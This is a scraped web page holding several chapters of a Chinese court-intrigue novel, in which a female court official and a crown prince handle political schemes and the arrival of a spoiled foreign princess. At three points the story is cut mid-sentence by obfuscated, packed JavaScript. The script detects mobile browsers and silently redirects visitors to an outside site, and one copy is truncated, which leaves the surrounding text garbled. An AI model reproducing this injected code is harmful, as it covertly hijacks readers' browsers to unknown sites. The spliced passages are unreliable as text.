“殿下正在召见内府中人。” 任知宜微怔，“内府的人又来了？” 内府为内宫机构，管理皇宫内各宫各殿的人事和杂事。太子虽然被关禁闭，东宫的吃穿用度也未少分毫，内府总管还时不时地还派人过来问安，想来太子召见不是要发落他们。 “告知殿下，我在书房等他。” ———— 夜幕初降，书房内，卫枢递给任知宜一本书。 “这是你要的书——《南州志》。” 任知宜忙接过来，面露欣喜，迫不及待地翻了几页。 卫枢见她爱不释手，扬唇笑道：“你要的这本书市面上不常见，内府那边费了些时日，好在终于找到了。” “多谢殿下。”任知宜笑得灿然。 卫枢道：“听说胡公公今日来传旨。” 任知宜笑容微敛，“殿下可知，陛下为何突然下这种旨意？臣问过胡公公，可惜他滴水不漏，只字未露。” 卫枢揉了揉眉心，“是鸿胪寺卿祁冬阳向陛下进言。” 任知宜莫名其妙，自己细细想了想，确定之前并未与此人有过嫌隙。听闻祁冬阳为人心胸狭窄，好大喜功，在朝中多年，没有什么大的建树，倒把手伸到她这里来了。 卫枢轻声道：“近来，他与景相走得比较近。 原来如此。 任知宜了然地点点头。 “你此番领命迎接彦月公主，须听从鸿胪寺的调遣，小心行事。” 任知宜挑眉，“景相的动作好快。” 柳德刚刚致仕，朝中闻风而动，除了一些投效东宫的，其余几乎都入了景相门下。不知道是不是她疑心过重，她觉得景相原本与世家牵连并不深，可奇怪的是，柳德一倒，景相反倒与安王越走越近。 “景相究竟想做什么？” 卫枢背手而立，声音淡淡的，“他先是提拔莫千山成为禁军统领，现在又想把控户部，一心要将孤拉下储君之位。” “所以，他第一个要对付的人，是我。” 二人相顾无言。 烛燃待尽，莲花烛台的一圈布满赤红的滴蜡，摇曳的烛火倒映在锃亮的烛盘上，像是一张张着血盆大口的恶兽之脸。 皇宫之中，何来真正的岁月静好？ 任知宜轻轻一吹，灭掉烛火，换了新的烛芯。 “臣打算安排几人举荐宋其臻做户部尚书。” 眼下书房只他二人，宫人被屏退至极远处，任知宜毫无顾忌，将心中谋算尽数道出。 柳德致仕，眼下户部尚书的三位关键人选，分别是右补阙宋其臻，中书舍人薛畅和户部侍郎苏叶。 宋其臻是皇帝的人，而薛畅是景相的学生。她想要借皇帝与景相的矛盾，给东宫一个置身事外的时机。 她继续道：“只有这样做，陛下才会解除殿下的禁闭。” “孤不急。” “可是彦月公主此次出使大胤，有和亲之意。殿下尽早解除禁闭，才能争取到应国的支持，与景相抗衡。”任知宜目光灼灼，望着卫枢。 卫枢瞥了她一眼，“应国的支持要争取，但是孤不会与彦月公主和亲。” 任知宜轻轻“哦”了一声，像是得到了一个意料之中的回答。 卫枢思忖半晌。 户部掌大胤财脉，如今国库说不上亏空，却也有些捉襟见肘。不逢灾年，不遇兵祸，自当无碍，但是税赋一直是卫枢中的隐忧。 他之前派苏叶下江南，为的就是查茶税。大胤施行茶业禁榷，征收茶租，并禁止茶户私卖。自咸宁元年起，江南三道未遭遇大灾，茶租一直递减，茶价却逐年攀升，馥安茗茶甚至卖到一两三金的价格。 不过三人当中，苏叶的确胜算最小。 宋其臻在翰林院做了十几年大学士，对户部庶务并不精通，对苏叶查账影响不大。反倒是薛畅，为人精干敏锐，势必能察觉。若薛畅做户部尚书，江南和两靖的税账便不好再查了。 “孤会让苏叶退出。”卫枢道：“近来父皇气性大，既然他想要宋其臻做这个位子，东宫便顺势推一把。” ———— 一大早，孙公公火急火燎地来找任知宜。 起初，她以为出了什么大事，待到来到后院，才发现空地处落起一丈高的木架，扎于深土之中。 木架两侧各三根粗木条，立成三角爪状落地，中间置一根横木。 她抬头望去，卫枢身着粗衣，手执铁锤，踩在高高的横木上东敲西打，加固木架。大片的日光泼下来，将他的眉眼染上一片鎏金之色。 好一幅不可思议的景象。 “内府缺工匠？”她站在下面，仰头问道。 “缺什么工匠！”孙公公气得直跺脚，“就算是少了工匠，也用不着殿下做这活计啊。是殿下死活不让别人插手，非要亲手做这架子。你快劝劝殿下。” 任知宜绕着架子走了一圈，握着一根脚架轻轻晃了一下。 “啊啊！” “快住手！”孙公公倒吸一口凉气，颤声道：“待诏怎地这般不知轻重，这架子这么高，若是把殿下摔了该如何是好！” 任知宜笑笑，“孙公公，您别害怕，我只是试试这架子稳不稳固。” 孙公公急了，“您别光看热闹啊，快劝殿下下来啊！” 任知宜也不理会，迎着刺目的光，朝卫枢笑道：“这架子挺稳，殿下手艺不错。” 听到她的夸赞，卫枢站在高处，望着下面笑了笑，明朗的笑容似融于秋日朝阳，温柔和暖。 “做这个很麻烦吧，殿下是不是做了很长时间？”任知宜继续喊话道。 “不久。”卫枢淡淡应道。 他没说实话。 今早天未破晓，他便起床，花了三个时辰才落出架子的雏形；更不用说前几日开始着手准备，翻遍各类营造书籍，挑拣出合适尺寸的木条，切成榫卯的形状；还几次召见内府的老宫匠，询问他们如何搭建成型，用何种材质才能牢固。 卫枢从架上下来，“认得这是什么东西吧？” 任知宜轻笑，“殿下小瞧人了。我灵州虽地远，却也不是荒蛮之地，我幼时进出山林，经常以藤为千，嬉戏至日暮方歇。” “打秋千”，原本是大胤民间极盛行的一种游乐，这几年，渐渐流传开来，勋贵家中也开始玩乐。 “这木架已成，找两根粗麻绳挂上去，再安上踏板，就可以打秋千了。”任知宜眼睛亮亮的，一脸的跃跃欲试。 瞧她欢欣雀跃的样子，卫枢的声音愈加温和，“麻绳易断，不够稳妥。” “那用什么？” “之前秋猎，孤得不少猎物，以兽皮作绳索，想来更结实一些。” 任知宜赞道：“好主意。” 二人合力，将秋千固牢。 任知宜一跃，跳上踏板，笑得轻快，“劳烦殿下推我一把，不过不要推得太用力，太高了我会害怕。” 卫枢笑笑。 她脚下一蹬，慢悠悠地荡入空中。 和煦的风将浸了薄汗的轻衣吹干，天与地似乎近了，变得不再苍茫飘渺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127543|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还要不要再高一点？”卫枢问道。 笑声迎着风吹过来，“不用，这样就好。” ………… 叶蕴之进到后院时，正望见卫枢一身粗衣，扶着千绳悠来荡去，面色倏地一沉。 方才孙公公一直向他抱怨，说宫里能工巧匠多的是，殿下亲手置架过于危险，原来竟是为了哄女子开心。 叶蕴之恭恭敬敬地行了个礼，“殿下。” 卫枢放下挽起的袖子，搀扶他起来，笑道：“此处是东宫，没有外人，老师不必多礼。” “礼不可废。”叶蕴之肃着脸，“殿下是储君，身系大胤之安，敬老臣为师，是殿下宽厚仁德。可是，君是君，臣是臣，君臣之礼必须恪守，若是有人荒唐僭越，失了分寸，那便是大不敬。” 这话夹枪带棒，含沙射影，卫枢和任知宜皆听出其中真意。 任知宜敛笑，静立一旁。 卫枢眉心微蹙，“老师今日前来，所为何事？” 叶蕴之尚未答话，任知宜先道：“臣记起，昨日在书阁外晒的书还未收，请允臣告退。” 待人走远，卫枢披上外袍，缓步走着。 “老师是不是对知宜有所保留？之前种种，孤可以同老师言明，皆是误会。” 叶蕴之跟在后面，“老臣有句话，不知当讲不当讲？” “老师于孤如父，但说无妨。” “殿下是否有意纳她为侧妃？” 卫枢脚下一顿，猛地转身，“老师何出此言？” “请殿下解惑。” 卫枢拧眉，“并无此意。” “老臣觉得，殿下不妨考虑一下。” 卫枢怔住。 叶蕴之缓缓道：“此女心思变数太多，她聪敏诡诈，且市侩凉薄。这一次郑韩之争让老臣明白，她对殿下未必能一直忠心。既然如此，殿下不如将其纳入东宫，成为东宫侧妃，她便再无可能背叛殿下。” “……” 沉默片刻，卫枢轻声道：“老师不是曾经夸赞她是一把极利的尖刀？” 闻言，叶蕴之面色不改，“若尖刀反噬呢？” 卫枢打断他的话，“她不会！” “听闻殿下与她有一年之约，殿下可有想过，她之后会去哪儿？” 卫枢想了想，任知宜曾说她喜欢四处行商，看看各处的风土人情，做点小生意。无论去哪儿都好，以她的性子是不会愿意困于后宫的。 叶蕴之继续道：“得罪朝中重臣和江南世家，若无殿下庇护，她绝难在京城立足，会不会就此投效他人？” 卫枢轻捏眉心，看起来有些乏累，“老师，知宜帮孤良多，以她的才智和性情，不适合留在后宫。” “殿下真得是因为惜才爱才？”叶蕴之双眸直视，“殿下为任平之案亲下安州，老臣觉得殿下对她过于信任，已经超出一个主上对下属的宠信。” 卫枢默然。 “殿下身系江山社稷，绝不能被一个女子所左右。” 卫枢背转身去，目色幽幽，“孤知晓了。” 秋风起，几片黄叶在空中打了个旋儿，飘然落下。 叶蕴之见卫枢面色不虞，换了个话题，“还有一事，殿下为何会关心云门镇案？” “孤曾在那里住过几年。” 叶蕴之一怔，当年他在成州找到卫枢，那时卫枢记忆遗失大半，在街上以给人写字作画为生。他竟然不知道，卫枢曾经在云门镇呆过。 卫枢亦回想起往事。 老师找到他的那日，恰是小雪。当时，他坐在街边，捧着半块儿干硬的馍馍准备吃。突然，一个长者冲跑过来，猛地抓住他的手臂，跪在地上嚎啕痛哭，涕泪横流，“老臣无能，……让殿下受苦了！” 这些年，老师常常遗憾自己没有早一点找到他，所以卫枢极少跟叶蕴之提及当年的经历，无谓徒增老师的负疚。 卫枢轻声解释，“不是什么要紧之事，只是何卢似乎与云门镇的案子有关，所以孤想查清真相。” 叶蕴之点了点头，未再深问。 65. 公主 公廨门前，鸿胪寺卿祁冬阳窝着一肚子火气回来。 行至门口时，觑见堂前那盆金蕊芍药，顿时心火翻涌，一脚踢了过去。 “使不得啊！大人！” 后面的寺丞跟上脚步，忙吩咐下人将芍药搬走。 祁冬阳一掌拍在案上，“本官做鸿胪寺卿二十多年，还从未遇过此等难缠之人，她以为这里是她应国的皇都吗？” 寺丞倒了盏茶递上去，“大人消消气。听闻彦月公主美貌绝伦，在应国声望极高，深受应帝疼宠，恐怕是养了一身娇纵的毛病。” 照应国使臣队伍的行进速度来看，彦月公主原本应在中秋的第二日到达京城，祁冬阳还据此上了奏。 可谁知，彦月公主行至离京城不远的平州，不小心生了一场风寒，只好就地将养，这一调养便是将将一月。 公主金枝玉叶，一时嫌弃平州睡床冷硬，要鸿胪寺送去新的拔步床和丝锦衾被；一时又嫌弃平州的水不够清甜，要鸿胪寺从京城运干净的水过去。 前日，她又着人传信给祁冬阳，说她养病的园子景致太差，让鸿胪寺的人过去修整一番，尤其是要添置几盆她最喜爱的金蕊芍药。 前面的东西还未备好，后面的要求紧跟其后，搞得鸿胪寺上下不堪其扰。 祁冬阳冷笑，“若光是这些，倒也罢了。她还在信中说，她入城之时，要“十里花街”相迎。” 寺丞轻声道：“大人也知道，彦月公主身份尊贵，此番来大胤和亲，身上还带着应国独有的造船术，朝野上下都盯着呢；若大人这差事办得好，也是大功一件啊。” 祁冬阳迟疑，“这么大的排场，恐怕要预支不少银财。” 户部尚书一职未定，祁冬阳虽然有心立功，却也不敢私自定夺。 “如此兴师动众，必被御史台弹劾。若是敷衍不理，彦月公主又会在陛下面前告我怠慢于她，陛下同样恼怒。” 祁冬阳满面阴云，“有没有能避开此事，而又不得罪彦月公主的办法？” 寺正沉思片刻，“属下有一计，不知可行不可行。” “说！” “大人忘了，陛下令东宫待诏任知宜随鸿胪寺迎接应国使臣团。” 祁冬阳瞳孔一震。 他怎么将她忘了？这原本是遵从景相的意思，眼下遇到这困局，她倒成了一个合适的替罪羔羊。 祁冬阳犹自犹豫，“若她借东宫之势真得办成此事，本官岂不是要成为朝野上下的笑柄？” “大人可拖延几日，待公主入城之前再将这要求告知任知宜，她纵有通天之力也来不及准备。然后，我们再在公主身边安插几个碎嘴的奴婢，令公主无意间知晓任知宜妄自尊大，有意怠慢。” 移花接木，祸水东引。 寺丞笑道：“公主没有见到盛大的十里花街，必定迁怒任知宜。如此一来，景相也会对大人另眼相看。” ———— 鸿胪寺派人传信至东宫时，任知宜正与卫枢用食。 食案上摆了四道汤菜，样式不多，胜在精致可口，有萝卜糕、闲笋蒸鹅、酒蒸羊骨和乌梅汤，都是任知宜最爱吃的。 任知宜缓缓地喝了一口乌梅汤，“我刚才没有听清，劳你再说一遍。” 鸿胪寺的小官颤声道：“明日十月十五，应国使臣团至。请任待诏明日辰时至东城门，以“十里花街”相迎。” 传信姗姗来迟，却只有这一句话。传信小官脸色白得像鬼，好似在这里多呆一息，就要吓得晕厥过去。 卫枢挥挥手，放他离开。 传信小官如获大赦，飞一般告退。 “进城之时，以金蕊芍药的花瓣铺满朱雀长街。彦月公主竟是如此骄纵之人吗？” 卫枢不紧不慢地为她夹了一块儿鹅肉，“今日这笋鹅乃是三煨三蒸，莫要因为一些不相干的人辜负了美食。” 任知宜笑笑，觉得有理。 二人慢条斯理地吃完饭，又对弈至暮时。 鸿胪寺传信时，雀琴就侍候在一旁，听得清清楚楚。这一整日下来，眼见待诏毫不在意，她心中越发忐忑，太子被关禁闭，也帮不了待诏，若是待诏做不到，便是违抗圣命，会不会有性命之忧？ 这担忧一直持续到夜里，雀琴终于没忍住，问道：“待诏，只剩不到一日，您要去何处寻金蕊芍药铺满朱雀长街？” 任知宜站在床前，惊讶地望着她。 雀琴是真心实意地在关心她，任知宜心里涌过一道暖流，“我本就没打算这么做。” “为什么？” “如今国库不丰，公主不过一时兴起，便要耗费数千两银子，实在劳民伤财。” “可是，若公主因此恼怒于您，该如何是好？” 任知宜笑笑，“她出使大胤，是带着使命而来，双方各有所求，关键在于胤应两国之间的利益能否一致。这等小事，公主发发怒气，也就过去了。” “可是……”，雀琴还想劝慰，被任知宜轻声打断，“公主人还未到，便对我大胤予取予求，若我们有求辄应，后面再有更无礼的要求，我们该如何应对。面对别国，大胤必须保有一定的姿态。” 雀琴似懂非懂地点点头，放下床帷，铺褥睡下。 ———— 进入十月，天气一时一变。 晨起尚好，晌午过后，北风骤起，京城像是突然进入寒冬，冷得让人头皮发麻。 不到未时，天色乌压一片，暗成黑夜。京城似是起了寒潮，河水皆被冻出浮冰。 任知宜袖着手，走到舆车前，躬身道：“祁大人。” 幔帘掀开一角，一股子冷风直窜进去。 祁冬阳靠坐在榻上，双手抱着莲花铜手炉，脸色不善，“何事？” 任知宜默默地搓了搓快要冻僵的手指，“按脚程，彦月公主早该在未时前到达，下臣担心前面有什么意外，要不要派人去查看一下？” 从辰时等到未时，一点消息都没有。 祁冬阳嘴角轻扯，还能是因为什么。 那彦月公主又犯“病”了。一会儿说自己心悸，一会儿说头疼，拖拖拉拉了两个时辰才动身。 “本官知道了。”祁冬阳敷衍道。 任知宜微微蹙眉，“大人，这天色昏黑，风又这么大，公主一行人又不熟悉路况，我们该派人前去接应一下。” “放心吧，本官已派人去了。”祁冬阳放下车幔，表示不想再说。 又过了三个时辰。 冷风愈烈，吹得人几乎站不住。 任知宜与几个随行官员寻了处背风的檐下，使劲互搓双手，哈了口热气。 身体暖了少许，思绪渐渐回转。 听闻彦月公主是应国第一美人，应国国君最宠爱的女儿，拜倒在她裙下之人无数。有人形容她美得有如天上的明月，令人不敢直视。 不知到底是个什么样的人？ 簌簌冷风卷地而来，任知宜环抱双臂，望了望乌压压的天色，心绪沉沉。 此时，不远处传来辚辚车马之声。 借着暗光，任知宜瞥见应国的仪仗标志。 众人迅速归位，迎接彦月公主。 远远望去，仪仗前有十几人提着灯笼在前方引路，灯笼在风中摇摇欲坠，一时明一时暗，宛若鬼火一般。雕桁饰玉的华车艰难行进，高高悬挂的使臣团旗子被吹得东倒西歪，需要几个人站在车轼上合力擎起方能立住。 这般模样，引得任知宜眉头紧皱。 很显然，祁冬阳根本没有派人去接应。 仪仗越过城门，停了下来。 白帷撩起，彦月公主被侍女搀扶着，款款而出。 众人皆呼吸一窒。 她一走出来，像给冰冻的黑夜里添了一束荧光。 盈盈而立，通身若雪。 白裘大氅裹身，与她如玉的肌肤合为一体，像是黑夜里的一樽白玉雕，莹白的小脸罩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127544|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在白狐毛帽之下，精致如画。即使额前几缕发丝被乱风扬起，也透出几分荏弱之美，让人心生怜惜。 “大胤好冷啊。”彦月公主轻轻地拢了拢白裘。 她的声音清软娇柔，带着几分慵懒的娇媚，听上去酥酥的。 这一瞬间，鸿胪寺上下似乎忘却了她的诸多无礼要求，理所当然地认为，公主纵使娇纵少许，也是寻常。 任知宜亦是一怔，这等美貌，连妩媚动人的庆嫔娘娘也要望其项背，难怪是应国第一美人。 “臣鸿胪寺卿祁冬阳，拜见公主殿下。” 彦月公主美目轻盼，笑道：“天寒地冻，让诸位久等了。” “公主言重。” 彦月公主轻咬丹唇，“不过，“十里花街”在哪儿呢？” 祁冬阳一凛，下意识望向任知宜。 他心里暗暗打鼓，不知道这个公主是天真还是娇纵，竟然在这种时候直白逼问。 任知宜躬身行礼，“臣任知宜，拜见公主。” 彦月公主转动着水润的双眸，将视线移到身着绯官服的任知宜身上。 “原来你就是任待诏啊。” 公主细细打量她一会儿，“容色不错。本公主的金蕊芍药呢？” 任知宜道：“眼下正是金蕊芍药的花期，若得曦光照耀，花瓣会蒙上一层光泽，宛若流光跳动，还有蝴蝶穿梭于花间，翩翩而飞。今日天光黯淡，若是仅将花瓣洒落朱雀长街，只能零落成泥碾作尘；所以微臣将早已准备好的金蕊芍药移至长公主府上，届时将为公主举行一场盛大的赏花会。” 接着，她俯身跪下，“微臣自作主张，请公主降罪。” 静寂了几息。 传来彦月公主娇柔的轻笑声，“任待诏挺有意思。” 她朝任知宜走近，笑道：“你起身吧。” 祁冬阳长长舒了一口气，却听彦月公主又道：“不过，大胤泱泱大国，却还是不太懂待客之道啊。” 任知宜抬眼，眉头微动。 “鸿胪寺派的人不认得路，马车一路颠簸周折，本公主好几次差点从马车上摔下来。”彦月公主轻声道：“今日碰上这等天气，连个接应的人都没有，难道这就是大胤的待客之道吗？” 祁冬阳面上隐隐发烧，本想借此机会给任知宜一个教训，没想到“十里花街”之事竟被她应付过去，反倒是他这边出了纰漏。 他支支吾吾地说不出来。 身后的寺丞适时站出来，跪在地上诚惶诚恐，“大人，是臣失职。臣派出去接应的人被大风阻在路上，竟与公主失之交臂。” 祁冬阳正欲顺势呵斥两句，彦月公主摩挲着葱白的玉指，“在应国，对本公主不敬者，是要遭掌掴的。” 彦月公主的声音依旧娇柔若水，却带着几分压迫。 话音刚落，公主身旁的两个侍卫突然上前拑住寺丞，手臂高高扬起。 众人目瞪口呆之际，任知宜突然道：“陛下已为公主在宫中辟出一处安宁之所，公主一路车马劳顿，不如先行回宫休整。” 被这么一打断，巴掌尚未落下。 祁冬阳回过神来，咬牙道：“公主未免有些欺人太甚。” “住手。” 从舆车后面走出一人，面白微须，气质儒雅。 是应国使臣伊柘。 伊柘走到公主面前，躬身道：“大胤不同于应国，请公主勿要因小失大，坏了两国邦交。” 彦月公主撅了撅樱红小嘴，带着几分泫然，“伊相为了个外人数落本公主。” “臣不敢。” “算了。”彦月公主戴上兜帽，转身走回輿车，“今日看在伊相的面子上，本公主就不再计较。” 上车前，她又回头望了任知宜一眼，娇柔浅笑，“任待诏不该多管闲事的。” 车轮滚滚，天空突然落下几瓣雪花，这是今年的初雪。 “臣恭迎彦月公主进宫，愿公主凤仪永盛。” 66. 迎宾 华灯簇簇，明火如昼。 夜空中，细雪飘飞，流光滟融。 大胤以最高的礼仪迎接彦月公主，于甘露殿内设下筵席。 金樽玉盏，清酒香茗；珍馐美馔，雕盘绮食；丝竹管弦，瑟瑟若山泉击水，雀鸟相鸣。 可惜，这一切都比不上彦月公主的美貌来得震撼，所有人的目光都不可避免地落在彦月公主身上。 彦月公主向空中伸手，细雪落在莹白的掌心里，巴掌大的精致小脸上露出天真的笑容。 “陛下，这是彦月第一次见到雪。” “哈哈……”，皇帝被她惊喜的样子逗笑了，“公主觉得大胤如何？” 彦月公主浅笑，“贵国山水辽阔，地大物博，令人心生神往。不止这些，贵国的人也生得钟灵俊秀，风姿儒雅。” “哦？”皇帝来了兴趣，“公主指的是……？” 彦月公主嫣然一笑，“我读中原的书，一直想象书中描述的美髯公到底是何等儒雅风流，直到今日见到陛下方才明白。” 皇帝捋着髯须，放声大笑。 一场宫宴，宾主尽欢。 酒过三巡，皇帝指着坐于右下首的年轻男子，“这是朕的次子，安王。” 安王卫瑾玄衣缁带，相貌端正，眉目疏阔，笑则露齿。 “瑾之前去应国，未能见到公主风姿，深以为憾。” 彦月公主捏着酒盏，笑道：“常听父王提起安王少年英才，实在不巧，恰好当时我去外祖家小住了几日。” 小住几日？ 卫瑾轻笑，应国国主当时说公主身体不适。 当初他亲赴应国，一来为解决靖北流民作乱，二来有意向彦月公主求亲以拉拢应国。他几次求见彦月公主，应国国主都百般阻挠，后来他派出人去查探，才发现彦月公主已私自离宫多日，下落不明。当时，应国国主也在派人到处找她。 “听闻公主喜欢在民间游历，接下来的几日，本王想带公主畅游京城，看看大胤的市井繁华。” “好啊。”彦月公主托着下巴，美目盈盈地望着他，饶有兴致地答应下来，“安王殿下连我喜欢民间的小玩意儿都知晓，难怪我父王说，大胤的男子皆是温柔体贴之人。” 卫瑾躬身，“蒙公主夸赞，荣幸之至。” 彦月公主眼波流转，环顾四周，“咦”了一声，“今日怎地不见太子殿下？” 空气凝滞了一瞬。 皇帝清了清嗓子，“太子身体略有不适。” 彦月公主语带关切，“严重吗？” 说这话时，她下意识望向侍在一旁的东宫待诏任知宜。 任知宜顿首，“多谢公主关心，殿下只是微感寒邪，并无大碍。” “那就好。”彦月公主松了一大口气，眉间跃上天真的喜色，“我还担心太子殿下会错过五日之后的赏花会。” 皇帝一怔。 旋即想起，长公主曾经提议说，近几月京城多事，人心消沉，她想在自己府上办一场赏花会，邀请所有王公子弟和世家贵女来参加。他当时一口答应下来，以为皇姐要借这个机会为独子苏叶挑一桩好婚事。只是不知是何缘故，昨日长公主入宫时说，其实这赏花会是专门为迎接彦月公主而办。 皇帝理所当然地以为，是长公主明事理，代皇家表达对彦月公主的重视。 这原本是锦上添花之事，只是…… 他微微一顿，“太子可能还须静养几日……” 彦月公主站起身来，朝着皇帝盈盈一拜，“寒痹一症，虽非凶疾，却缠绵难解。彦月此行有一位随行医者，乃是应国最有名的医林圣手，专治寒痹之症。只要经他看过，三日之内定可恢复。” 皇帝眼色微沉。 这么巧……任知宜随口编了个“外感寒邪”的借口，而彦月公主又恰巧带了一位专治寒痹之症的医林圣手。 皇帝神色几经转换，呵呵笑道：“竟有这等巧事，看来真是天佑太子，将公主送到大胤。公主一到，太子便能少受病痛之苦，公主真是大胤的福星啊。” 彦月公主莞尔。 ———— 宫宴后的第二日，皇帝宣太子入乾元殿，二人谈了整整两个时辰，外人无从得知其中内容，惟有察言观色，意图窥探一二。 不久之后，皇帝下令解除东宫禁闭，宫中渐渐传出太子病体康愈的消息。 太子遣任知宜去吏部，代东宫巡察。 十一月是官员考核之期，各地送来的文书浩繁如海。趁此机会，她将柳德留下的，与世家有牵连的江南三道九州官员名单一一核查，又从州府报上的优等考绩人选中挑选了一些精干之士，以备东宫未来之用。 接连几日，她每日卯时去吏部衙署，夜里宫门下钥才回。 这夜亥时，她回到东宫，发现卫枢正在等她。 未曾料到卫枢在她房里，任知宜怔了一瞬。 她上前见礼，“殿下。” 他身旁的方案上，放着一套翠色烟罗流仙裙。 “明日暂且将吏部的事搁一下，陪孤去趟长公主府。” 任知宜瞥了一眼那件流仙裙，广袖高襟，绣纹繁复，金丝凤尾缀边，极为精美华贵，即使是宫中最出色的绣使来做，也不是几日便可制成的。 明日的赏花宴，除了彦月公主，京城达官勋贵家的适龄女子皆会到场。太子的意思是要令她不穿官服，高调随行。 “殿下是否听说，这几日安王推掉政务，日日伴于彦月公主身侧。” 卫枢淡淡道：“安王有意与彦月议亲，孤却不想。” “宫中传言，公主与安王相携相伴，宛若一对璧人。” 任知宜顿了顿，又道：“明日赏花会，殿下与安王同时出现，所有人都在等着观望彦月公主的态度，殿下准备要如何对待彦月公主？” 卫枢道：“你觉得彦月公主是个什么样的人？” 任知宜想了想，“我见到的她，冰肌玉骨，娇纵柔弱，是位天生的公主。” “这一任的应国国主名叫支介，他不同于他祖辈的绵和软弱，是经历一场宫廷政变之后登基的。多年来，应国百姓信奉成教，成教地位极高，可是支介在位的这些年，联合伊柘，成功架空了成教大祭司的权力。这样的人，会放任公主凭她自己的喜好嫁到异国？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127545|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >任知宜走到书架旁，翻找出一卷书册。 指尖顺着书页上的墨字划过，声音随之而出，“胤应两国最近一次的和亲是宝历九年，也就是七十年前。以这些年应国的状况来看，他们早已不需要通过和亲寻求大胤的支持。可是暗卫也说过，应国国主极为宠爱彦月公主，几乎到了有求必应的地步。” 顺着她取书的动作，卫枢瞥见放在书架最外侧的另一本书。 书脊上有几道折痕，一看就知道是被翻阅过很多次。 《南州志》这本书是他亲自找来的，几日前才送给她，卫枢以为她近日被吏部的琐事缠身，根本无暇翻看，没想到却像是已看过很多遍了。 “桄榔……”，窗户被屋外的冷风吹了下，冷风从缝隙里钻进来，任知宜禁不住“阿嚏”了一声。 卫枢忙紧了紧窗闩，唤孙公公进来。 “将孤房间里的银炭都送到这里。” 太子的寝卧并不比这里暖和，孙公公私心里不愿意，正要开口规劝，骤然收到卫枢的冷然一瞥，连忙闭嘴，领命而去。 外面天寒地冻，添过银炭的房间暖融融的。 二人围坐在书案旁边，继续说了些朝廷里的事，不知不觉已到亥时三刻。 博山炉的烟气袅袅而升，绕于身侧。 卫枢淡淡出声，“你似乎对那本《南州志》很感兴趣。” 任知宜笑笑，“南州素来是大胤的流放之地，朝野闻之色变，臣想了解一下真正的南州到底如何。” 卫枢道：“南州地远贫荒，潮热濡湿，之前成恩伯次子酿下秋猎祸事，承恩伯一家成为庶人，只得跟随被贬的方仲去了南州。听闻刚到南州的第二日，承恩伯就自尽了。” 任知宜微叹，“照这本《南州志》所写，其实南州并非大家所想象的荒蛮不堪，那里山水明秀，土质肥沃，瓜果繁盛。若是承恩伯能抛却心中的包袱，扎根于南州，未必不能过上平淡安康的生活。” “他生来显贵，自幼长于京城。对于他来说，南州太远，远得让他看不到回家的希望。”卫枢道。 任知宜不以为然，“人生不知归处，京城未必就比南州好。” 卫枢眉动，“你喜欢南州？” 烛火摇曳，发出噼里啪啦的声响。 任知宜笑笑不语。 《南州志》中写着，“州东南临海，向南行数百里，为海之峡部，风急浪湍，水击数丈，渔舟尽覆，越此奇险之地，方平顺开阔。” 韩少初说，他们韩家已经找到出海的路，正是《南州志》中记载的这条路，只不过书中写得还是不够详实，韩家先前已派人走过很多次，终于摸清了这一奇险之地的规律。 她听说后心潮起伏。日日周旋于这朝堂争斗之中，她都快要忘了，自己当年的理想是踏遍千山，万里行商。 可惜，云门镇的案子还没有眉目，还有她与郭嘉的约定……郓国狼子野心，与大胤迟早一战，她留在京城，方能襄助郭嘉。 出海一事，不知要耽搁到几时。 想到这里，她怅然笑笑。 当着卫枢的面，她顺手将《南州志》搁于书架的最里处。 67. 赏花 翌日，晴空万里。 长公主府外，自天明起行路禁。北衙卫兵穿梭巡逻，闲杂百姓不得靠近。 即使如此，隔着街，远远围观的人仍然不少。 金车银马，玉饰雕栏，一位位姿仪出众的贵女在众人的瞩目之下踏进长公主府，不过最令百姓期待的还是那位传闻中倾国倾城的彦月公主。 门前，一辆六骏双厢與车缓缓停下。 围观的人皆屏住呼吸，注视着與车。 一抹山间凝翠之色陡然撞入眼帘，像给枯叶凋零的暮暮深秋染上一抹重彩。 女子身着法翠烟罗流仙裙，外罩玉色披风，广袖一展，端庄地走下與车。肌肤冷白，眉眼柔和，清丽之美似得天地灵秀。 “这就是那彦月公主吧？” 众人目不转睛，惊叹道：“如此清雅高贵，不是公主又能是谁！” 人群中有人讷讷开口，“好，好像不是。我瞧着，倒像是那位。” “哪位？”有人奇道。 那人放低了声音，“就，就是那位“女御史”。” 本朝御史台并无女官，任知宜因为接连扳倒三位朝廷重臣，行事胆大，在百姓间得了个“女御史”的称号。民间传言大多不实，有些传言甚至离奇惊骇，以致大多百姓对她好奇之余，还有几分畏惧。 接着，紧随她而出的是太子卫枢。 二人相携并肩，兰薰桂馥，碧玉天成。 “眼见殿下身体康愈，彦月心中好欢喜啊。”身后，响起彦月公主清甜的声音。 